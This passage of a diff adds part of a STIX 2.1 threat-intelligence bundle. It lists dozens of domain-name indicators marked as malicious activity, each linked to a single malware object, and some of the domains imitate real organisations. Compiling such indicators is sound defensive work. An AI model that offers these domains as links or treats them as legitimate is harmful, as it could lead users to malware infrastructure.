"2025-08-08T19:03:18.811768Z", + "modified": "2025-08-08T19:03:18.811768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='electric-prime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.811768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e68537be-ec08-4dc2-9449-54250b7ab411", + "created": "2025-08-08T19:03:18.812113Z", + "modified": "2025-08-08T19:03:18.812113Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab0578a1-596f-4fef-b136-7615b5501d1f", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc4184e0-244b-4e73-a592-c1162c4d1bfc", + "created": "2025-08-08T19:03:18.812212Z", + "modified": "2025-08-08T19:03:18.812212Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='calmbase.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.812212Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5a60754-3bff-4c98-9267-b4244f2f2ab3", + "created": "2025-08-08T19:03:18.812519Z", + "modified": "2025-08-08T19:03:18.812519Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc4184e0-244b-4e73-a592-c1162c4d1bfc", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--db118e99-1574-43f1-a733-0911411819d9", + "created": "2025-08-08T19:03:18.812617Z", + "modified": "2025-08-08T19:03:18.812617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='profligatecensure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.812617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c05c7316-6973-4b96-a31e-adb320e8d554", + "created": "2025-08-08T19:03:18.812999Z", + "modified": "2025-08-08T19:03:18.812999Z", + "relationship_type": "indicates", + "source_ref": "indicator--db118e99-1574-43f1-a733-0911411819d9", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--064b6015-3a6e-4ba5-b8ac-e1772cf5c9eb", + "created": "2025-08-08T19:03:18.813158Z", + "modified": "2025-08-08T19:03:18.813158Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='online-affiliate-mon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.813158Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82d48a0c-bd94-4f28-b476-cfb44c2c125c", + "created": "2025-08-08T19:03:18.813592Z", + "modified": "2025-08-08T19:03:18.813592Z", + "relationship_type": "indicates", + "source_ref": "indicator--064b6015-3a6e-4ba5-b8ac-e1772cf5c9eb", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--094a9263-f3f8-46c1-86f6-b5ef21bd7fae", + "created": "2025-08-08T19:03:18.813736Z", + "modified": "2025-08-08T19:03:18.813736Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='johnshopkin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.813736Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ced8e14-5d29-433e-acc3-a6790edc24aa", + "created": "2025-08-08T19:03:18.814134Z", + "modified": "2025-08-08T19:03:18.814134Z", + "relationship_type": "indicates", + "source_ref": "indicator--094a9263-f3f8-46c1-86f6-b5ef21bd7fae", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca288478-6d29-49ea-ac56-4996692dddc8", + "created": "2025-08-08T19:03:18.814264Z", + "modified": "2025-08-08T19:03:18.814264Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salmonpride.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.814264Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76f71455-4690-46fe-8ea5-48aab3a49a3c", + "created": "2025-08-08T19:03:18.814652Z", + "modified": "2025-08-08T19:03:18.814652Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca288478-6d29-49ea-ac56-4996692dddc8", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--306f3fd7-f4f7-41ce-9531-17e1fd075cde", + "created": "2025-08-08T19:03:18.8148Z", + "modified": "2025-08-08T19:03:18.8148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drivesplash.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.8148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e5d2044d-a300-4204-86c7-36cc2d8f6aef", + "created": "2025-08-08T19:03:18.81512Z", + "modified": "2025-08-08T19:03:18.81512Z", + "relationship_type": "indicates", + "source_ref": "indicator--306f3fd7-f4f7-41ce-9531-17e1fd075cde", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f267ef2-fca0-4bb5-bcd0-b002c0320a30", + "created": "2025-08-08T19:03:18.815222Z", + "modified": "2025-08-08T19:03:18.815222Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cranberrybear.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.815222Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7efbdf98-e264-46b5-bd66-393bb102cbd0", + "created": "2025-08-08T19:03:18.815528Z", + "modified": "2025-08-08T19:03:18.815528Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f267ef2-fca0-4bb5-bcd0-b002c0320a30", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ae2e3c8-2e28-4551-bb52-a91be0d034d0", + "created": "2025-08-08T19:03:18.815629Z", + "modified": "2025-08-08T19:03:18.815629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='antperspective.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.815629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--77844584-c930-4ae3-bf65-a316d993f27b", + "created": "2025-08-08T19:03:18.815933Z", + "modified": "2025-08-08T19:03:18.815933Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ae2e3c8-2e28-4551-bb52-a91be0d034d0", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8eadc770-6e3d-4765-b719-74719df0246a", + "created": "2025-08-08T19:03:18.816038Z", + "modified": "2025-08-08T19:03:18.816038Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='groundbreakinginitative.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.816038Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91dde169-9cb6-4eaa-ab36-351aa0189a20", + "created": "2025-08-08T19:03:18.816333Z", + "modified": "2025-08-08T19:03:18.816333Z", + "relationship_type": "indicates", + "source_ref": "indicator--8eadc770-6e3d-4765-b719-74719df0246a", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d3ac8bd2-46a5-4134-9911-ed49b6036a3e", + "created": "2025-08-08T19:03:18.816484Z", + "modified": "2025-08-08T19:03:18.816484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cartoondrop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.816484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7443bc77-d1bd-4040-a733-614907b423de", + "created": "2025-08-08T19:03:18.81681Z", + "modified": "2025-08-08T19:03:18.81681Z", + "relationship_type": "indicates", + "source_ref": "indicator--d3ac8bd2-46a5-4134-9911-ed49b6036a3e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d61b7b60-d608-42dd-8dd7-6920529a9ea7", + "created": "2025-08-08T19:03:18.816916Z", + "modified": "2025-08-08T19:03:18.816916Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='macromint.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.816916Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--432c8b50-c3bc-4bfe-8233-5c1c7f7e6e06", + "created": "2025-08-08T19:03:18.817201Z", + "modified": "2025-08-08T19:03:18.817201Z", + "relationship_type": "indicates", + "source_ref": "indicator--d61b7b60-d608-42dd-8dd7-6920529a9ea7", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--96d2e909-6568-4fd4-8d0a-5e9da10c2e52", + "created": "2025-08-08T19:03:18.817305Z", + "modified": "2025-08-08T19:03:18.817305Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elifluousscintillam.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.817305Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5655f18-6511-42e9-ba00-2d8c54d095fc", + "created": "2025-08-08T19:03:18.817591Z", + "modified": "2025-08-08T19:03:18.817591Z", + "relationship_type": "indicates", + "source_ref": "indicator--96d2e909-6568-4fd4-8d0a-5e9da10c2e52", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cfc949f1-2144-4868-a007-7dc60fe8c0a5", + "created": "2025-08-08T19:03:18.817688Z", + "modified": "2025-08-08T19:03:18.817688Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parkourbus.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.817688Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fd2c05e4-9071-40f8-91aa-d6eeec864250", + "created": "2025-08-08T19:03:18.818023Z", + "modified": "2025-08-08T19:03:18.818023Z", + "relationship_type": "indicates", + "source_ref": "indicator--cfc949f1-2144-4868-a007-7dc60fe8c0a5", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e2a1674-b625-4521-b0ec-91322324c662", + "created": "2025-08-08T19:03:18.818134Z", + "modified": "2025-08-08T19:03:18.818134Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubeshape.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.818134Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b93aeb75-b947-49bd-a015-c85f0bcd0ccf", + "created": "2025-08-08T19:03:18.81842Z", + "modified": "2025-08-08T19:03:18.81842Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e2a1674-b625-4521-b0ec-91322324c662", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--343b70b9-068c-4c2e-aeb0-8749eec4bca7", + "created": "2025-08-08T19:03:18.818536Z", + "modified": "2025-08-08T19:03:18.818536Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='patternperiod.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.818536Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cfb46465-4e56-4023-8aa9-96b7adb25226", + "created": "2025-08-08T19:03:18.818845Z", + "modified": "2025-08-08T19:03:18.818845Z", + "relationship_type": "indicates", + "source_ref": "indicator--343b70b9-068c-4c2e-aeb0-8749eec4bca7", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d05a88a6-fb27-49f8-8ab7-d15fe0a362cc", + "created": "2025-08-08T19:03:18.818954Z", + "modified": "2025-08-08T19:03:18.818954Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finalsalami.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.818954Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86710c77-17fe-49d7-8a3e-e33ca33f8aab", + "created": "2025-08-08T19:03:18.81925Z", + "modified": "2025-08-08T19:03:18.81925Z", + "relationship_type": "indicates", + "source_ref": "indicator--d05a88a6-fb27-49f8-8ab7-d15fe0a362cc", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c9bff83-cbce-4b6a-9a2f-b74234d6e02c", + "created": "2025-08-08T19:03:18.819348Z", + "modified": "2025-08-08T19:03:18.819348Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ultimatematter.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.819348Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9a401a0-48a2-4056-8e33-fb41ece2c0b1", + "created": "2025-08-08T19:03:18.819709Z", + "modified": "2025-08-08T19:03:18.819709Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c9bff83-cbce-4b6a-9a2f-b74234d6e02c", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08ccaebd-c8a5-49b5-98cc-78de5afbc930", + "created": "2025-08-08T19:03:18.819817Z", + "modified": "2025-08-08T19:03:18.819817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='labyrinthextravagance.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.819817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4208fe6d-37cd-495d-9827-cf973cd955c6", + "created": "2025-08-08T19:03:18.821753Z", + "modified": "2025-08-08T19:03:18.821753Z", + "relationship_type": "indicates", + "source_ref": "indicator--08ccaebd-c8a5-49b5-98cc-78de5afbc930", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d531c28-f1eb-459f-a9d6-66e1c644ff93", + "created": "2025-08-08T19:03:18.821869Z", + "modified": "2025-08-08T19:03:18.821869Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drummerjourney.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.821869Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--19e97f11-4b58-45d5-a7fc-c9810766b148", + "created": "2025-08-08T19:03:18.822197Z", + "modified": "2025-08-08T19:03:18.822197Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d531c28-f1eb-459f-a9d6-66e1c644ff93", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--099adde9-27a1-421b-9297-6bf0e5b0b080", + "created": "2025-08-08T19:03:18.8223Z", + "modified": "2025-08-08T19:03:18.8223Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='online-source-validate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.8223Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c75bf835-6abd-4fce-9337-e4326b06c326", + "created": "2025-08-08T19:03:18.822601Z", + "modified": "2025-08-08T19:03:18.822601Z", + "relationship_type": "indicates", + "source_ref": "indicator--099adde9-27a1-421b-9297-6bf0e5b0b080", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--180ec01f-0d2c-4dcd-b402-8499763f829a", + "created": "2025-08-08T19:03:18.82272Z", + "modified": "2025-08-08T19:03:18.82272Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deardrill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.82272Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c3d889f4-e7a7-4fbd-9053-9f28be44b1a1", + "created": "2025-08-08T19:03:18.823005Z", + "modified": "2025-08-08T19:03:18.823005Z", + "relationship_type": "indicates", + "source_ref": "indicator--180ec01f-0d2c-4dcd-b402-8499763f829a", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ffa564fc-8c05-41d1-a641-ef3f13626025", + "created": "2025-08-08T19:03:18.823103Z", + "modified": "2025-08-08T19:03:18.823103Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='breadgroomer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.823103Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a5fbe47-4deb-47d9-b8df-46ff45b43956", + "created": "2025-08-08T19:03:18.823382Z", + "modified": "2025-08-08T19:03:18.823382Z", + "relationship_type": "indicates", + "source_ref": "indicator--ffa564fc-8c05-41d1-a641-ef3f13626025", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af6ad962-21fc-4ca3-8c12-250eedaad3da", + "created": "2025-08-08T19:03:18.823478Z", + "modified": "2025-08-08T19:03:18.823478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rollstrech.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.823478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a9bc09e-15ec-47df-b7fa-4a9b777eea75", + "created": "2025-08-08T19:03:18.823776Z", + "modified": "2025-08-08T19:03:18.823776Z", + "relationship_type": "indicates", + "source_ref": "indicator--af6ad962-21fc-4ca3-8c12-250eedaad3da", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2401df55-951e-436c-ba37-e0f9f57c9a70", + "created": "2025-08-08T19:03:18.823879Z", + "modified": "2025-08-08T19:03:18.823879Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guitarcalculate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.823879Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c53e2063-b726-4237-a587-d055e0a583e1", + "created": "2025-08-08T19:03:18.824167Z", + "modified": "2025-08-08T19:03:18.824167Z", + "relationship_type": "indicates", + "source_ref": "indicator--2401df55-951e-436c-ba37-e0f9f57c9a70", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--516c61d5-d415-4193-b2b7-3bcabfed70d1", + "created": "2025-08-08T19:03:18.824263Z", + "modified": "2025-08-08T19:03:18.824263Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cooperatedisinfect.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.824263Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61dfdbb1-2629-46b2-ab54-4476ab87ef4f", + "created": "2025-08-08T19:03:18.824544Z", + "modified": "2025-08-08T19:03:18.824544Z", + "relationship_type": "indicates", + "source_ref": "indicator--516c61d5-d415-4193-b2b7-3bcabfed70d1", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10be890e-d89d-46ef-8195-71e55aeb8243", + "created": "2025-08-08T19:03:18.824663Z", + "modified": "2025-08-08T19:03:18.824663Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='velvetpremier.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.824663Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--435f3555-07f5-4486-b897-ae8899d81fb0", + "created": "2025-08-08T19:03:18.824993Z", + "modified": "2025-08-08T19:03:18.824993Z", + "relationship_type": "indicates", + "source_ref": "indicator--10be890e-d89d-46ef-8195-71e55aeb8243", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--88511b17-948d-48fe-84f1-b6279c19f50e", + "created": "2025-08-08T19:03:18.825093Z", + "modified": "2025-08-08T19:03:18.825093Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='closetmeat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.825093Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a23b607c-6bab-421a-b42b-69889adb1f0b", + "created": "2025-08-08T19:03:18.825377Z", + "modified": "2025-08-08T19:03:18.825377Z", + "relationship_type": "indicates", + "source_ref": "indicator--88511b17-948d-48fe-84f1-b6279c19f50e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03f05054-0233-434f-8371-78bc3b34725f", + "created": "2025-08-08T19:03:18.825479Z", + "modified": "2025-08-08T19:03:18.825479Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pressaviation.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.825479Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4c8c898-3ba3-4355-8b4e-01ce40ae7538", + "created": "2025-08-08T19:03:18.825779Z", + "modified": "2025-08-08T19:03:18.825779Z", + "relationship_type": "indicates", + "source_ref": "indicator--03f05054-0233-434f-8371-78bc3b34725f", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--91d74d04-691d-4dad-893a-ad7db6458759", + "created": "2025-08-08T19:03:18.825904Z", + "modified": "2025-08-08T19:03:18.825904Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foamdirection.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.825904Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be25a5d4-6a4a-407c-be7a-b3303481044c", + "created": "2025-08-08T19:03:18.826203Z", + "modified": "2025-08-08T19:03:18.826203Z", + "relationship_type": "indicates", + "source_ref": "indicator--91d74d04-691d-4dad-893a-ad7db6458759", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e72a194d-f74b-4e4b-9a3e-087dcbf2cfae", + "created": "2025-08-08T19:03:18.826299Z", + "modified": "2025-08-08T19:03:18.826299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sacrificeprincipal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.826299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b0a78b10-98bb-4380-806a-29df3cd018c2", + "created": "2025-08-08T19:03:18.826589Z", + "modified": "2025-08-08T19:03:18.826589Z", + "relationship_type": "indicates", + "source_ref": "indicator--e72a194d-f74b-4e4b-9a3e-087dcbf2cfae", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e121a99d-411a-4851-b04e-c0e88e62a621", + "created": "2025-08-08T19:03:18.826714Z", + "modified": "2025-08-08T19:03:18.826714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fbcdnads.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.826714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c5445aab-e2dc-41c3-8a74-de2f8c0da877", + "created": "2025-08-08T19:03:18.826993Z", + "modified": "2025-08-08T19:03:18.826993Z", + "relationship_type": "indicates", + "source_ref": "indicator--e121a99d-411a-4851-b04e-c0e88e62a621", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ee9af21-80d4-4e64-8fb6-f2aa21bed84b", + "created": "2025-08-08T19:03:18.827087Z", + "modified": "2025-08-08T19:03:18.827087Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leafconfuse.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.827087Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f00383a-92c5-44d6-bebe-850fde5267c4", + "created": "2025-08-08T19:03:18.827361Z", + "modified": "2025-08-08T19:03:18.827361Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ee9af21-80d4-4e64-8fb6-f2aa21bed84b", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d65176c8-11db-440b-b471-471c741cfc90", + "created": "2025-08-08T19:03:18.827456Z", + "modified": "2025-08-08T19:03:18.827456Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suggestutterly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.827456Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7690e862-8c58-404a-8263-6a7b8d3705b0", + "created": "2025-08-08T19:03:18.827735Z", + "modified": "2025-08-08T19:03:18.827735Z", + "relationship_type": "indicates", + "source_ref": "indicator--d65176c8-11db-440b-b471-471c741cfc90", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b4eaa7f-c2d5-4c08-afd4-2b28029141d0", + "created": "2025-08-08T19:03:18.827878Z", + "modified": "2025-08-08T19:03:18.827878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eminententwine.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.827878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b0332dd5-c86f-49d8-badf-add2476689a6", + "created": "2025-08-08T19:03:18.828172Z", + "modified": "2025-08-08T19:03:18.828172Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b4eaa7f-c2d5-4c08-afd4-2b28029141d0", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--865f0a9e-b38a-439f-9079-a27d3d6445b7", + "created": "2025-08-08T19:03:18.828269Z", + "modified": "2025-08-08T19:03:18.828269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shareitwork.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.828269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a4dcf9ea-69b7-415f-b0d5-8ca86476097c", + "created": "2025-08-08T19:03:18.828577Z", + "modified": "2025-08-08T19:03:18.828577Z", + "relationship_type": "indicates", + "source_ref": "indicator--865f0a9e-b38a-439f-9079-a27d3d6445b7", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1812cdf3-6f67-4110-9ed1-58369c48b00d", + "created": "2025-08-08T19:03:18.828699Z", + "modified": "2025-08-08T19:03:18.828699Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='convincechaotic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.828699Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--08c6215c-f207-48a1-88a2-cb523212e0f9", + "created": "2025-08-08T19:03:18.828992Z", + "modified": "2025-08-08T19:03:18.828992Z", + "relationship_type": "indicates", + "source_ref": "indicator--1812cdf3-6f67-4110-9ed1-58369c48b00d", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 